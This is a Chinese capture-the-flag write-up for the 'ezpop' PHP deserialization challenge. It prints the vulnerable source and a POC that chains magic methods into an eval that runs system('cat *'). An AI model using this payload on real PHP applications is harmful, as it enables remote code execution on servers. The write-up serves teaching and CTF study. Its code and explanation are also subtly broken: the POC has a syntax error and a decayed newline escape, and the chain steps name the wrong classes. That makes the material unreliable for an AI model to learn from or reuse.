2022 DASCTF X SU 三月春季挑战赛 ezpop writeup

admin 2025年2月25日20:21:04评论19 views字数 2045阅读6分49秒阅读模式

因为一直搞不懂php反序列化的pop链,所以写这篇文章记录一下。

文章所使用的POC来自啊韬师傅的wp,原文地址:

https://erroratao.github.io/writeup/DASCTF2022xSU/

一,题目

题目名字为ezpop,开局一页的代码:

<?phpclass crow{    public $v1;    public $v2;    function eval() {        echo new $this->v1($this->v2);    }    public function __invoke(){        $this->v1->world();    }}class fin{    public $f1;    public function __destruct(){        echo $this->f1 . '114514';    }    public function run(){        ($this->f1)();    }    public function __call($a, $b){        echo $this->f1->get_flag();    }}class what{    public $a;    public function __toString(){        $this->a->run();        return 'hello';    }}class mix{    public $m1;    public function run(){        ($this->m1)();    }    public function get_flag(){        eval('#' . $this->m1);    }}if (isset($_POST['cmd'])) {    unserialize($_POST['cmd']);} else {    highlight_file(__FILE__);}

二,了解php反序列化

首先了解一下php的魔术方法,php在进行序列化和反序列化时可能会用到以下的魔术方法:

__construct  构造函数
__destruct 对象被销毁时触发,析构函数
__toString 把类当作字符串使用时触发
__wakeup() unserialize前调用,用于预先准备对象资源
__sleep()  serialize前调用
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic()  在静态上下文中调用不可访问的方法时触发
__get()  试图读取一个并不存在的属性的时候被调用
__set()  用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset()  在不可访问的属性上使用unset()时触发
__invoke() 脚本尝试将对象调用为函数时触发

2.再看一下题目给出的源码:我们最终的目的是调用mix类的get_flag()函数,进行eval操作,执行系统命令。步骤可以这样倒着推理:

(1)mix类的get_flag()函数实现最终目标,即执行系统命令。

(2)而get_flag()函数由crow类的__call()调用和触发。

(3)__call函数调用则需要对象上下文中调用不可访问的方法时触发,crow类中的__invoke()方法正好吻合。

(4)__invoke()在脚本尝试将对象调用为函数时触发,所以mix类的run()方法正好吻合。

(5)run()方法需要what类的__toString()方法来调用。

(6)__toString()在把类当作字符串使用时触发,所以,此时fin类的__destruct(),若把f1当作对象初始化,则正好吻合。

3.最终的POC

<?phpclass crow{    public $v1;    public $v2;    public function __construct($v1){        $this->v1 = $v1;    }}class fin{    public $f1;    public function __construct($f1){        $this->f1 = $f1;    }}class what{    public $a;    public function __construct($a){        $this->a = $a;    }}class mix{    public $m1;    public function __construct($m1)        $this->m1 = $m1;    }}$f = new mix("nsystem('cat *');");$e = new fin($f);$d = new crow($e);$c = new mix($d);$b = new what($c);$a = new fin($b);echo urlencode(serialize($a));

注:因为eval函数拼接了#号,即注释符号,POC中使用换行符n进行绕过!

POC得到的序列化字符串在发包时尽量使用burp,hackbar有时会出现回显不正常的情况。

申明:所有渗透行为都需获取授权!本公众号所分享的内容仅作为技术讨论,禁止用于一切违法行为,违法行为所造成的一切不良后果与文章作者和本公众号无关!未经授权,严禁转载!

原文始发于微信公众号(小猪网络安全):2022 DASCTF X SU 三月春季挑战赛 ezpop writeup

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月25日20:21:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2022 DASCTF X SU 三月春季挑战赛 ezpop writeuphttps://cn-sec.com/archives/844262.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息